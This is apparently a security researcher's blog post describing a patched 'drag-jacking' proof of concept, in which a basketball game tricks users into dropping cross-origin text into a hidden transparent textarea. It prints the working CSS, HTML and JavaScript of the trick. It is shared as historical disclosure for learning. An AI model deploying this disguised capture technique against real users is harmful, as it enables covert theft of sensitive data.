Drag-Jacking: Capturing Cross-Domain Data via a Drag-and-Drop Game

This one was interesting to put together. The idea is to disguise a cross-origin drag-and-drop data capture as a fun basketball game. A transparent textarea sits over the game area, and when the user drags text from another window (like a browser tab showing a sensitive document) and drops it in the “basket,” the text lands in the hidden textarea instead.

<style>
#xData
{
    position: absolute;
    top: 30px;
    left: 280px;
    width: 600px;
    height: 450px;
    filter: alpha(opacity = 0);
    opacity:0.0;
}
</style>

<input type="button" value=" >>>>    PLAY NOW!    <<<<" onclick="main()" />
<img id="basket" src="basket.gif" width="278" height="249" border="0" alt="" />
<img id="ball" src="ball.gif" width="70" height="71" border="0" alt="">
<textarea id="xData"></textarea>

<script>
function checkTextAreaText()
{
    if (xData.value == strxData)
    {
        setTimeout("checkTextAreaText();", 1000);
    }
    else
    {
        win.close();
        alert("Info drag-dropped from: http://msdn.microsoft.com/en-us/library/ms535258.aspx\n\n" + xData.value);
    }
}

document.body.ondragover = function(e)
{
    if (!e) e = event;
    ball.style.left = (e.clientX - (ball.width/2)) + 'px';
    ball.style.top = (e.clientY - (ball.height/2)) + 'px';
}
</script>

The game opens a target URL (in this case, an MSDN documentation page) in a companion window. The ondragover handler moves the ball image to follow the dragged item, making it look like the user is aiming at the basket. When they release the drag, the transparent textarea captures the dropped content. A polling loop checks periodically for new text and reports it when the drop happens.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.